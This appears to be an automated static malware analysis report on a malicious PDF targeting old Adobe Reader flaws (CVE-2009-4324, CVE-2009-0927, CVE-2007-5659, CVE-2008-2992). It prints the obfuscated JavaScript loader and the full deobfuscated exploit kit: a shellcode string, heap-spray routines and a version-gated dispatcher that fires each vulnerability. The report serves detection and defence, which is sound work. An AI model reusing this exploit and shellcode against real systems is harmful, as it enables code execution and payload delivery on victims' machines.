Malicious PDF — malware analysis report

Static analysis result for SHA-256 81875e919affe085…

MALICIOUS

PDF

44.6 KB First seen: 2026-05-09
MD5: ed00d71c533fe2d9e1376be6566f5fff SHA-1: 9ab2db845347bba381ca31d0565da90dc32396e6 SHA-256: 81875e919affe085b63447f80217d6ab45af7385dc92948ddaa5c1a042268cf4
408 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that leverages multiple known vulnerabilities in Adobe Reader, including CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The deobfuscated JavaScript appears to be an exploit kit designed to download and execute a second-stage payload. The ML classifier also strongly flagged this PDF as malicious.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAFF9 446 bytes
SHA-256: 57991f196b774272b1c555296cd1084e70f7a2f362e882467620aacbbfceaabc
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
lzeoh='';
tqgn=('qwrwqr','tit');
e('xjhi=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
ixpqt=e('String.fro'+xjhi.substr(0,9));
buv = e(xjhi.substr(9)['replace'](/u/g,','));
e('k=buv.length');
for (i = 0; i < k; i+=2) {
	vkny = buv[i+1] + ('erybjkerl',buv[i]);
	lzeoh += ixpqt(vkny);
}
e(lzeoh);
legacy_pdfkit_stage_000.js deobfuscated-js metadata title CharCode pair decoded JavaScript at offset 0x37 3648 bytes
SHA-256: 05f4643d597e6c27a21144d0719a17dc013e77aeb21d253df488998db7031d01
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u3bb9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u5234%ue2aa%uc3fa%ue5e8%uffff%ubbff%u535e%u5252%ud30c%u0ebe%u5253%udb52%udfb5%u421d%u3ddf%u6306%u0589%u0103%u0101%u0101%u0101%u0107%u3a01%u5356%u5252%u0407%u3a01%u3c3d%u5252%u273a%u3e20%u063f%udc3a%u5c1c%ubabe%u521a%u5252%uba02%u522e%u5252%u82ad%u96d1%u3a5a%ubd1d%u571d%uba02%u523e%u5252%u82ad%u92d7%u4527%u0638%ua10b%u3af8%uac20%u44e1%u4fba%u5252%u0252%u03ba%u5252%uad52%u0182%uac38%udb3a%u533d%ubaef%u525a%u5252%uba02%u526e%u5252%u82ad%u6332%u3692%u02d9%ud962%u5e00%u00d9%ud946%u7a20%u4aeb%u5252%u6352%u63ad%ufe92%u336e%u502e%u727e%u9d93%u535f%ub095%ud3a2%u09ad%u18ee%ud938%u4210%u40d9%u8b27%u16db%u4e76%u9133%ud932%u763e%ud976%u6e17%u06d9%u2a57%ub853%u18d9%ud94a%u7208%ub953%u66b1%ud91b%ud966%ubc53%uad63%u9263%ufeae%u92d6%u5526%u9d93%u535f%ub995%u69a6%u762e%u277a%ud9b3%u7608%ub953%ud934%u195e%u08d9%u534e%ud9b9%ud956%uba53%u16db%u4e76%u9033%u525a%ubdba%uadac%u3aad%u2626%u6822%u7d7d%u3e33%u2833%u2033%u3d3a%u7c26%u3c3b%u3d34%u367d%u227c%u223a%u346d%u616f%u7460%u6f37%u5267';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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